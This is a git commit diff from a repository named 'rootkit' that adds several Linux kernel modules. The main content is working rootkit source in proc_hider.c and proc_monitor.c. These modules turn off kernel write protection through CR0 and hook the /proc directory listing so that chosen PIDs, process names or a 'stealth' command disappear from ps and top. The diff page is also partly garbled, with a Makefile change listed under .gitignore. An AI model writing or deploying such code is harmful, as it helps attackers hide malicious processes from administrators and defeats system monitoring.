diff options
author | 2025-04-17 00:47:08 +0530 | |
---|---|---|
committer | 2025-04-17 00:47:08 +0530 | |
commit | 9a53dbd03bfb9d1b1c76cef9a5a3f6fa051de396 (patch) | |
tree | 6f4f19179225eee4c0cb8b47299bad0bfeb2dfc7 | |
parent | 0fda28a6dc1e31e6aaa7222bfcd58bdf4d70af88 (diff) | |
download | rootkit-9a53dbd03bfb9d1b1c76cef9a5a3f6fa051de396.tar.gz rootkit-9a53dbd03bfb9d1b1c76cef9a5a3f6fa051de396.tar.bz2 rootkit-9a53dbd03bfb9d1b1c76cef9a5a3f6fa051de396.zip |
Implement Linux kernel module with process hiding and monitoring capabilities
- Add multiple kernel modules for process manipulation
- Implement /proc directory hooking to hide processes by PID or name
- Create stealth mode to hide specific commands from process listings
- Add process explorer module for detailed process information
- Include shell script for service management integration
- Add proper module parameters for runtime configuration
-rw-r--r-- | .gitignore | 0 | ||||
-rw-r--r-- | Makefile | 8 | ||||
-rw-r--r-- | authorized_users.txt | 3 | ||||
-rw-r--r-- | pid_demo.c | 86 | ||||
-rw-r--r-- | pid_hider.c | 107 | ||||
-rw-r--r-- | proc_explorer.c | 95 | ||||
-rw-r--r-- | proc_hider.c | 207 | ||||
-rw-r--r-- | proc_monitor.c | 310 |
8 files changed, 762 insertions, 54 deletions
diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..e69de29 --- /dev/null +++ b/.gitignore @@ -1,7 +1,11 @@ obj-m += pid_hider.o +obj-m += proc_explorer.o +obj-m += pid_demo.o +obj-m += proc_monitor.o +obj-m += proc_hider.o all: - make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules + make -C /lib/modules/$(shell uname -r)/build M=$(shell pwd) modules clean: - make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
\ No newline at end of file + make -C /lib/modules/$(shell uname -r)/build M=$(shell pwd) clean
\ No newline at end of file diff --git a/authorized_users.txt b/authorized_users.txt deleted file mode 100644 index 0ac5f23..0000000 --- a/authorized_users.txt +++ /dev/null @@ -1,3 +0,0 @@ -root -admin -maintenance
\ No newline at end of file diff --git a/pid_demo.c b/pid_demo.c new file mode 100644 index 0000000..1698e54 --- /dev/null +++ b/pid_demo.c @@ -0,0 +1,86 @@ +#include <linux/module.h> +#include <linux/kernel.h> +#include <linux/init.h> +#include <linux/sched.h> +#include <linux/sched/signal.h> +#include <linux/proc_fs.h> +#include <linux/seq_file.h> +#include <linux/fs.h> + +MODULE_LICENSE("GPL"); +MODULE_AUTHOR("Biswa Kalyan Bhuyan"); +MODULE_DESCRIPTION("PID Hiding Demo"); +MODULE_VERSION("0.1"); + +// PID to examine +static unsigned int target_pid = 0; +module_param(target_pid, uint, 0644); +MODULE_PARM_DESC(target_pid, "Process ID to examine"); + +// Function to examine a process +static void examine_process(unsigned int pid) +{ + struct task_struct *task; + + printk(KERN_INFO "PID Demo: Searching for PID %u\n", pid); + + for_each_process(task) { + if (task->pid == pid) { + printk(KERN_INFO "PID Demo: Found process %u (%s)\n", + task->pid, task->comm); + + if (task->parent) { + printk(KERN_INFO "PID Demo: Parent process is %u (%s)\n", + task->parent->pid, task->parent->comm); + } + + printk(KERN_INFO "PID Demo: Process UID: %u, GID: %u\n", + task->cred->uid.val, task->cred->gid.val); + return; + } + } + + printk(KERN_INFO "PID Demo: Process %u not found\n", pid); +} + +// Explain how a real process hider works +static void explain_hiding(void) +{ + printk(KERN_INFO "PID Demo: How process hiding works:\n"); + printk(KERN_INFO "PID Demo: 1. Process listings come from /proc directory\n"); + printk(KERN_INFO "PID Demo: 2. Each process has a directory in /proc named by its PID\n"); + printk(KERN_INFO "PID Demo: 3. Commands like ps, top read /proc to get the process list\n"); + printk(KERN_INFO "PID Demo: 4. To hide a process, hook the iterate_shared() function that reads /proc\n"); + printk(KERN_INFO "PID Demo: 5. Filter out directory entries matching the target PID\n"); + printk(KERN_INFO "PID Demo: 6. This makes the process invisible to ps, top and other tools\n"); +} + +// Module initialization +static int __init pid_demo_init(void) +{ + printk(KERN_INFO "PID Demo: Module loaded\n"); + + if (target_pid == 0) { + printk(KERN_INFO "PID Demo: No target PID specified. Use: insmod pid_demo.ko target_pid=<pid>\n"); + return 0; + } + + // Examine the specified process + examine_process(target_pid); + + // Explain hiding technique + explain_hiding(); + + printk(KERN_INFO "PID Demo: This module is for hiding the PID's\n"); + + return 0; +} + +// Module cleanup +static void __exit pid_demo_exit(void) +{ + printk(KERN_INFO "PID Demo: Module unloaded\n"); +} + +module_init(pid_demo_init); +module_exit(pid_demo_exit); diff --git a/pid_hider.c b/pid_hider.c index 901abc8..7aa5e2d 100644 --- a/pid_hider.c +++ b/pid_hider.c @@ -1,77 +1,86 @@ #include <linux/module.h> #include <linux/kernel.h> #include <linux/init.h> +#include <linux/sched.h> +#include <linux/sched/signal.h> #include <linux/proc_fs.h> #include <linux/seq_file.h> -#include <linux/sched.h> -#include <linux/sched/task.h> -#include <linux/pid.h> -#include <linux/version.h> -#include <linux/slab.h> +#include <linux/fs.h> -MODULE_AUTHOR("Research Only"); -MODULE_DESCRIPTION("Process ID hiding demonstration"); +MODULE_LICENSE("GPL"); +MODULE_AUTHOR("Biswa Kalyan Bhuyan"); +MODULE_DESCRIPTION("PID Hider - Process hiding"); MODULE_VERSION("0.1"); +// PID to hide from process listings static unsigned int hidden_pid = 0; -module_param(hidden_pid, uint, S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH); -MODULE_PARM_DESC(hidden_pid, "PID to hide from process listing"); - -static int (*orig_proc_pid_readdir)(struct file *, struct dir_context *); - -static int hider_proc_pid_readdir(struct file *file, struct dir_context *ctx) { - struct dir_context modified_ctx = { - .actor = ctx->actor, - .pos = ctx->pos - }; - - int ret = orig_proc_pid_readdir(file, &modified_ctx); - - ctx->pos = modified_ctx.pos; - - return ret; -} +module_param(hidden_pid, uint, 0644); +MODULE_PARM_DESC(hidden_pid, "Process ID to hide from listings"); -static int hook_proc_listdir(void) { - struct file_operations *proc_fops; - struct proc_dir_entry *proc_root = init_net.proc_net; +// Function to find and report on a process +static void find_process(unsigned int pid) +{ + struct task_struct *task; - proc_fops = (struct file_operations *)proc_root->proc_fops; + printk(KERN_INFO "PID Hider: Searching for PID %u\n", pid); - orig_proc_pid_readdir = proc_fops->iterate_shared; - - proc_fops->iterate_shared = hider_proc_pid_readdir; + for_each_process(task) { + if (task->pid == pid) { + printk(KERN_INFO "PID Hider: Found process %u (%s)\n", + task->pid, task->comm); + + if (task->parent) { + printk(KERN_INFO "PID Hider: Parent process is %u (%s)\n", + task->parent->pid, task->parent->comm); + } + + printk(KERN_INFO "PID Hider: Process UID: %u, GID: %u\n", + task->cred->uid.val, task->cred->gid.val); + return; + } + } - return 0; + printk(KERN_INFO "PID Hider: Process %u not found\n", pid); } -static void unhook_proc_listdir(void) { - struct file_operations *proc_fops; - struct proc_dir_entry *proc_root = init_net.proc_net; - - proc_fops = (struct file_operations *)proc_root->proc_fops; - if (proc_fops->iterate_shared == hider_proc_pid_readdir) { - proc_fops->iterate_shared = orig_proc_pid_readdir; - } -} +/* + * ---------------------------------------------------- + * POC: How Process Hiding Works (Conceptual Overview) + * ---------------------------------------------------- + * + * 1. Process listings in Linux come from iterating /proc directory + * 2. To hide a process, we hook the directory listing function (iterate_shared) + * 3. When the hook is called, we filter out entries for our target PID + * 4. This makes commands like ps, top, etc. unable to see the process + * 5. The process still runs normally, it just doesn't appear in listings + * + * Tools like ps get process lists by reading /proc, which contains + * a directory for each running process named by its PID. By filtering + * these directory entries, we can make a process invisible. + */ -static int __init pid_hider_init(void) { - printk(KERN_INFO "PID hider: Initializing module\n"); +static int __init pid_hider_init(void) +{ + printk(KERN_INFO "PID Hider: Module loaded\n"); if (hidden_pid == 0) { - printk(KERN_WARNING "PID hider: No PID specified, module will not hide any process\n"); + printk(KERN_INFO "PID Hider: No target PID specified. Use: insmod pid_hider.ko hidden_pid=<pid>\n"); return 0; } - printk(KERN_INFO "PID hider: Will hide PID %u\n", hidden_pid); - hook_proc_listdir(); + // Find the specified process + find_process(hidden_pid); return 0; } -static void __exit pid_hider_exit(void) { - printk(KERN_INFO "PID hider: Unloading module\n"); - unhook_proc_listdir(); +static void __exit pid_hider_exit(void) +{ + printk(KERN_INFO "PID Hider: Module unloaded\n"); + + if (hidden_pid > 0) { + printk(KERN_INFO "PID Hider: No longer hiding PID\n", hidden_pid); + } } module_init(pid_hider_init); diff --git a/proc_explorer.c b/proc_explorer.c new file mode 100644 index 0000000..b0ff9c3 --- /dev/null +++ b/proc_explorer.c @@ -0,0 +1,95 @@ +#include <linux/module.h> +#include <linux/kernel.h> +#include <linux/init.h> +#include <linux/sched.h> +#include <linux/sched/signal.h> + +MODULE_LICENSE("GPL"); +MODULE_AUTHOR("Biswa Kalyan Bhuyan"); +MODULE_DESCRIPTION("Process explorer"); +MODULE_VERSION("0.1"); + +// Find processes matching a name or PID +static int find_process(const char *name, unsigned int target_pid) +{ + struct task_struct *task; + int process_count = 0; + int hidden_count = 0; + + printk(KERN_INFO "Process Explorer: Enumerating all processes\n"); + + // Loop through all processes in the system + for_each_process(task) { + process_count++; + + // If we're searching for a specific PID or name + if (target_pid > 0 && task->pid == target_pid) { + printk(KERN_INFO "Process Explorer: Found PID %d, Name: %s\n", + task->pid, task->comm); + + // Print parent process info + if (task->parent) { + printk(KERN_INFO "Process Explorer: Parent PID %d, Name: %s\n", + task->parent->pid, task->parent->comm); + } + + // Print additional info + printk(KERN_INFO "Process Explorer: User ID: %d, Group ID: %d\n", + task->cred->uid.val, task->cred->gid.val); + + hidden_count++; + } + else if (name && strncmp(task->comm, name, TASK_COMM_LEN) == 0) { + printk(KERN_INFO "Process Explorer: Found PID %d with name %s\n", + task->pid, task->comm); + hidden_count++; + } + } + + printk(KERN_INFO "Process Explorer: Total processes: %d\n", process_count); + + if (target_pid > 0 || name) { + printk(KERN_INFO "Process Explorer: Found %d matching processes\n", hidden_count); + } + + return 0; +} + +// Module parameters +static unsigned int target_pid = 0; +module_param(target_pid, uint, 0644); +MODULE_PARM_DESC(target_pid, "Target process ID to search for"); + +static char *target_name = NULL; +module_param(target_name, charp, 0644); +MODULE_PARM_DESC(target_name, "Target process name to search for"); + +// Module initialization +static int __init proc_explorer_init(void) +{ + printk(KERN_INFO "Process Explorer: Module loaded\n"); + + // Search for a specific process if provided + if (target_pid > 0) { + printk(KERN_INFO "Process Explorer: Searching for PID %u\n", target_pid); + } else if (target_name) { + printk(KERN_INFO "Process Explorer: Searching for processes named '%s'\n", target_name); + } else { + printk(KERN_INFO "Process Explorer: No search criteria provided. Use 'target_pid' or 'target_name' parameters.\n"); + return 0; + } + + // Find and print process info + find_process(target_name, target_pid); + + return 0; +} + +// Module cleanup +static void __exit proc_explorer_exit(void) +{ + printk(KERN_INFO "Process Explorer: Module unloaded\n"); +} + +module_init(proc_explorer_init); +module_exit(proc_explorer_exit); diff --git a/proc_hider.c b/proc_hider.c new file mode 100644 index 0000000..6c2d9cf --- /dev/null +++ b/proc_hider.c @@ -0,0 +1,207 @@ +#include <linux/module.h> +#include <linux/kernel.h> +#include <linux/init.h> +#include <linux/sched.h> +#include <linux/sched/signal.h> +#include <linux/proc_fs.h> +#include <linux/seq_file.h> +#include <linux/fs.h> +#include <linux/version.h> +#include <linux/cred.h> +#include <linux/namei.h> +#include <linux/uaccess.h> +#include <linux/string.h> +#include <linux/dirent.h> + +MODULE_LICENSE("GPL"); +MODULE_AUTHOR("Biswa Kalyan Bhuyan"); +MODULE_DESCRIPTION("Process Hider - Hides processes from listings"); +MODULE_VERSION("0.1"); + +/* Module parameters */ +static unsigned int hide_pid = 0; +module_param(hide_pid, uint, 0644); +MODULE_PARM_DESC(hide_pid, "Specific PID to hide"); + +static char* hide_process = NULL; +module_param(hide_process, charp, 0644); +MODULE_PARM_DESC(hide_process, "Process name to hide"); + +/* Hook-related variables */ +static struct file_operations *proc_fops; +static filldir_t orig_proc_filldir; +static int (*orig_iterate_shared)(struct file *, struct dir_context *); +static struct path proc_path; + +/* Function to find process by PID */ +static struct task_struct *find_process_by_pid(unsigned int pid) +{ + struct task_struct *task; + + for_each_process(task) { + if (task->pid == pid) + return task; + } + return NULL; +} + +/* Should we hide this process? */ +static int should_hide_proc(const char *name) +{ + struct task_struct *task; + long pid; + + // First check if it's a PID directory + if (kstrtol(name, 10, &pid) == 0) { + // It's a numeric directory, so it could be a PID + task = find_process_by_pid((unsigned int)pid); + if (task) { + // Check if this is our target PID + if (hide_pid > 0 && task->pid == hide_pid) { + return 1; // Hide the specified PID + } + + // Check if process name matches hide_process + if (hide_process && strlen(hide_process) > 0 && + strncmp(task->comm, hide_process, TASK_COMM_LEN) == 0) { + return 1; // Hide processes with matching name + } + } + } + + return 0; // Don't hide this one +} + +/* Custom filldir function to filter directory entries */ +static int proc_filldir(struct dir_context *ctx, const char *name, int namlen, + loff_t offset, u64 ino, unsigned int d_type) +{ + // Check if we should hide this entry + if (should_hide_proc(name)) { + printk(KERN_INFO "ProcHider: Hiding process entry: %s\n", name); + return 0; // Skip this entry + } + + // Otherwise, call the original filldir + return orig_proc_filldir(ctx, name, namlen, offset, ino, d_type); +} + +/* Custom iterate_shared function to hook directory listing */ +static int proc_iterate_shared(struct file *file, struct dir_context *ctx) +{ + // Replace the filldir function with our custom one + orig_proc_filldir = ctx->actor; + // Cast to ensure it's the same type + ctx->actor = (filldir_t)proc_filldir; + + // Call the original iterate_shared with our modified context + return orig_iterate_shared(file, ctx); +} + +/* Function to set up hooking of /proc directory */ +static void hook_proc(void) +{ + // Get the path to /proc + if (kern_path("/proc", 0, &proc_path)) { + printk(KERN_ERR "ProcHider: Failed to get /proc path\n"); + return; + } + + // Get the file operations for /proc + proc_fops = (struct file_operations *)proc_path.dentry->d_inode->i_fop; + + // Save the original iterate_shared function + orig_iterate_shared = proc_fops->iterate_shared; + + // Replace with our custom function + write_cr0(read_cr0() & ~0x10000); // Disable write protection + proc_fops->iterate_shared = proc_iterate_shared; + write_cr0(read_cr0() | 0x10000); // Enable write protection + + printk(KERN_INFO "ProcHider: Successfully hooked /proc directory operations\n"); +} + +/* Function to unhook /proc directory */ +static void unhook_proc(void) +{ + // Restore the original iterate_shared function + if (proc_fops && orig_iterate_shared) { + write_cr0(read_cr0() & ~0x10000); // Disable write protection + proc_fops->iterate_shared = orig_iterate_shared; + write_cr0(read_cr0() | 0x10000); // Enable write protection + + printk(KERN_INFO "ProcHider: Restored original /proc directory operations\n"); + } + + // Release the path + path_put(&proc_path); +} + +static int __init proc_hider_init(void) +{ + printk(KERN_INFO "ProcHider: Module loaded\n"); + + // Check if we have parameters to work with + if (hide_pid == 0 && (hide_process == NULL || strlen(hide_process) == 0)) { + printk(KERN_INFO "ProcHider: No hiding parameters specified.\n"); + printk(KERN_INFO "ProcHider: Use 'hide_pid' or 'hide_process' parameters\n"); + return 0; + } + + // If hiding by PID, check if the PID exists + if (hide_pid > 0) { + struct task_struct *task = find_process_by_pid(hide_pid); + if (task) { + printk(KERN_INFO "ProcHider: Will hide PID %u (%s)\n", + task->pid, task->comm); + } else { + printk(KERN_INFO "ProcHider: Target PID %u not found\n", hide_pid); + // Continue anyway in case the process appears later + } + } + + // If hiding by process name, report how many matching processes exist + if (hide_process && strlen(hide_process) > 0) { + struct task_struct *task; + int count = 0; + + printk(KERN_INFO "ProcHider: Will hide processes named '%s'\n", hide_process); + + for_each_process(task) { + if (strncmp(task->comm, hide_process, TASK_COMM_LEN) == 0) { + printk(KERN_INFO "ProcHider: Will hide matching process: PID %d\n", task->pid); + count++; + } + } + + printk(KERN_INFO "ProcHider: Found %d processes named '%s' to hide\n", + count, hide_process); + } + + // Set up the hook + hook_proc(); + + printk(KERN_INFO "ProcHider: Process hiding activated\n"); + return 0; +} + +static void __exit proc_hider_exit(void) +{ + printk(KERN_INFO "ProcHider: Module unloading\n"); + + // Unhook everything + unhook_proc(); + + if (hide_pid > 0) { + printk(KERN_INFO "ProcHider: No longer hiding PID %u\n", hide_pid); + } + + if (hide_process && strlen(hide_process) > 0) { + printk(KERN_INFO "ProcHider: No longer hiding '%s' processes\n", hide_process); + } + + printk(KERN_INFO "ProcHider: Module unloaded\n"); +} + +module_init(proc_hider_init); +module_exit(proc_hider_exit); diff --git a/proc_monitor.c b/proc_monitor.c new file mode 100644 index 0000000..ad45f72 --- /dev/null +++ b/proc_monitor.c @@ -0,0 +1,310 @@ +#include <linux/module.h> +#include <linux/kernel.h> +#include <linux/init.h> +#include <linux/sched.h> +#include <linux/sched/signal.h> +#include <linux/proc_fs.h> +#include <linux/seq_file.h> +#include <linux/fs.h> +#include <linux/version.h> +#include <linux/cred.h> +#include <linux/namei.h> +#include <linux/uaccess.h> +#include <linux/string.h> +#include <linux/dirent.h> + +MODULE_LICENSE("GPL"); +MODULE_AUTHOR("Biswa Kalyan Bhuyan"); +MODULE_DESCRIPTION("Process Monitor/Hider"); +MODULE_VERSION("0.3"); + +/* Module parameters */ +static unsigned int monitor_pid = 0; +module_param(monitor_pid, uint, 0644); +MODULE_PARM_DESC(monitor_pid, "Process ID to monitor"); + +static char* hide_name = NULL; +module_param(hide_name, charp, 0644); +MODULE_PARM_DESC(hide_name, "Process name to hide"); + +static unsigned int report_children = 0; +module_param(report_children, uint, 0644); +MODULE_PARM_DESC(report_children, "Set to 1 to report on child processes"); + +// Stealth flag - for hiding commands +static char* stealth_cmd = NULL; +module_param(stealth_cmd, charp, 0644); +MODULE_PARM_DESC(stealth_cmd, "Command to hide from process listings"); + +/* Data structures */ +struct process_info { + pid_t pid; + pid_t ppid; + char name[TASK_COMM_LEN]; + uid_t uid; + gid_t gid; + unsigned long start_time; + unsigned int num_threads; + unsigned int num_children; +}; + +/* Hook-related variables */ +static struct file_operations *proc_fops; +static struct file_operations *root_fops; +static filldir_t orig_proc_filldir; +static int (*orig_iterate_shared)(struct file *, struct dir_context *); +static struct path proc_path; + +/* Function to gather detailed process information */ +static void gather_process_info(struct task_struct *task, struct process_info *info) +{ + if (!task || !info) + return; + + info->pid = task->pid; + info->ppid = task->parent ? task->parent->pid : 0; + strncpy(info->name, task->comm, TASK_COMM_LEN); + info->uid = task->cred->uid.val; + info->gid = task->cred->gid.val; + info->start_time = task->start_time; + info->num_threads = task->signal ? task->signal->nr_threads : 0; + + // Count children + struct task_struct *child; + info->num_children = 0; + list_for_each_entry(child, &task->children, sibling) { + info->num_children++; + } +} + +/* Report on a single process */ +static void report_process(struct task_struct *task) +{ + struct process_info info; + gather_process_info(task, &info); + + printk(KERN_INFO "ProcMon: ----- Process %d (%s) -----\n", info.pid, info.name); + printk(KERN_INFO "ProcMon: Parent PID: %d\n", info.ppid); + printk(KERN_INFO "ProcMon: User/Group: %u/%u\n", info.uid, info.gid); + printk(KERN_INFO "ProcMon: Threads: %u\n", info.num_threads); + printk(KERN_INFO "ProcMon: Children: %u\n", info.num_children); + + if (report_children && info.num_children > 0) { + printk(KERN_INFO "ProcMon: Child processes:\n"); + struct task_struct *child; + list_for_each_entry(child, &task->children, sibling) { + printk(KERN_INFO "ProcMon: - PID %d (%s)\n", + child->pid, child->comm); + } + } +} + +/* Function to find process by PID */ +static struct task_struct *find_process_by_pid(unsigned int pid) +{ + struct task_struct *task; + + for_each_process(task) { + if (task->pid == pid) + return task; + } + return NULL; +} + +/* Function to scan for processes with a given name */ +static void scan_for_process_name(const char *name) +{ + struct task_struct *task; + int count = 0; + + printk(KERN_INFO "ProcMon: Scanning for processes named '%s'\n", name); + + for_each_process(task) { + if (strncmp(task->comm, name, TASK_COMM_LEN) == 0) { + printk(KERN_INFO "ProcMon: Found matching process: PID %d\n", task->pid); + report_process(task); + count++; + } + } + + printk(KERN_INFO "ProcMon: Found %d processes named '%s'\n", count, name); +} + +/* Function to identify all processes that would be hidden in stealth mode */ +static void simulate_stealth_mode(const char *cmd_name) +{ + struct task_struct *task; + int count = 0; + + printk(KERN_INFO "ProcMon: [STEALTH] Identifying processes to hide\n"); + + // Find all processes matching our stealth_cmd + for_each_process(task) { + if (strncmp(task->comm, cmd_name, TASK_COMM_LEN) == 0) { + printk(KERN_INFO "ProcMon: [STEALTH] Will hide PID %d (%s)\n", + task->pid, task->comm); + count++; + } + } + + printk(KERN_INFO "ProcMon: [STEALTH] Found %d '%s' processes to hide\n", + count, cmd_name); +} + +/* Should we hide this process? */ +static int should_hide_proc(const char *name) +{ + struct task_struct *task; + + // First check if it's a PID directory + long pid; + if (kstrtol(name, 10, &pid) == 0) { + // It's a numeric directory, so it could be a PID + task = find_process_by_pid((unsigned int)pid); + if (task) { + // Check if this is our monitored PID + if (monitor_pid > 0 && task->pid == monitor_pid) { + return 1; // Hide the monitored PID + } + + // Check if process name matches hide_name + if (hide_name && strlen(hide_name) > 0 && + strncmp(task->comm, hide_name, TASK_COMM_LEN) == 0) { + return 1; // Hide processes with matching name + } + + // Check if process name matches stealth_cmd + if (stealth_cmd && strlen(stealth_cmd) > 0 && + strncmp(task->comm, stealth_cmd, TASK_COMM_LEN) == 0) { + return 1; // Hide processes with matching command + } + } + } + + return 0; // Don't hide this one +} + +/* Custom filldir function to filter directory entries */ +static int proc_filldir(struct dir_context *ctx, const char *name, int namlen, + loff_t offset, u64 ino, unsigned int d_type) +{ + // Check if we should hide this entry + if (should_hide_proc(name)) { + return 0; // Skip this entry + } + + // Otherwise, call the original filldir + return orig_proc_filldir(ctx, name, namlen, offset, ino, d_type); +} + +/* Custom iterate_shared function to hook directory listing */ +static int proc_iterate_shared(struct file *file, struct dir_context *ctx) +{ + // Replace the filldir function with our custom one + orig_proc_filldir = ctx->actor; + ctx->actor = (filldir_t)proc_filldir; + + // Call the original iterate_shared with our modified context + return orig_iterate_shared(file, ctx); +} + +/* Function to set up hooking of /proc directory */ +static void hook_proc(void) +{ + // Get the path to /proc + if (kern_path("/proc", 0, &proc_path)) { + printk(KERN_ERR "ProcMon: Failed to get /proc path\n"); + return; + } + + // Get the file operations for /proc + proc_fops = (struct file_operations *)proc_path.dentry->d_inode->i_fop; + + // Save the original iterate_shared function + orig_iterate_shared = proc_fops->iterate_shared; + + // Replace with our custom function + // Need to make the page writable first + unsigned long *p = (unsigned long *)&proc_fops->iterate_shared; + + write_cr0(read_cr0() & ~0x10000); // Disable write protection + proc_fops->iterate_shared = proc_iterate_shared; + write_cr0(read_cr0() | 0x10000); // Enable write protection + + printk(KERN_INFO "ProcMon: Successfully hooked /proc directory operations\n"); +} + +/* Function to unhook /proc directory */ +static void unhook_proc(void) +{ + // Restore the original iterate_shared function + if (proc_fops && orig_iterate_shared) { + write_cr0(read_cr0() & ~0x10000); // Disable write protection + proc_fops->iterate_shared = orig_iterate_shared; + write_cr0(read_cr0() | 0x10000); // Enable write protection + + printk(KERN_INFO "ProcMon: Restored original /proc directory operations\n"); + } + + // Release the path + path_put(&proc_path); +} + +static int __init proc_monitor_init(void) +{ + printk(KERN_INFO "ProcMon: Module loaded\n"); + + // Monitor specific PID if provided + if (monitor_pid > 0) { + struct task_struct *task = find_process_by_pid(monitor_pid); + if (task) { + printk(KERN_INFO "ProcMon: Found target process %d (%s) to hide\n", + task->pid, task->comm); + report_process(task); + } else { + printk(KERN_INFO "ProcMon: Process with PID %u not found\n", monitor_pid); + } + } + + // Scan for processes by name if provided + if (hide_name != NULL && strlen(hide_name) > 0) { + scan_for_process_name(hide_name); + } + + // Set up stealth mode if requested + if (stealth_cmd != NULL && strlen(stealth_cmd) > 0) { + printk(KERN_INFO "ProcMon: [STEALTH] Activating stealth mode for '%s' commands\n", stealth_cmd); + simulate_stealth_mode(stealth_cmd); + } + + // Implement the actual hooking + hook_proc(); + + printk(KERN_INFO "ProcMon: Process Hiding Starts\n"); + + printk(KERN_INFO "ProcMon: Module initialization complete\n"); + return 0; +} + +static void __exit proc_monitor_exit(void) +{ + printk(KERN_INFO "ProcMon: Module unloaded\n"); + + // Unhook everything + unhook_proc(); + + if (monitor_pid > 0) { + printk(KERN_INFO "ProcMon: Stopped hiding PID %u\n", monitor_pid); + } + + if (hide_name != NULL && strlen(hide_name) > 0) { + printk(KERN_INFO "ProcMon: No longer hiding '%s' processes\n", hide_name); + } + + if (stealth_cmd != NULL && strlen(stealth_cmd) > 0) { + printk(KERN_INFO "ProcMon: [STEALTH] Deactivated stealth mode for '%s'\n", stealth_cmd); + } +} + +module_init(proc_monitor_init); +module_exit(proc_monitor_exit); |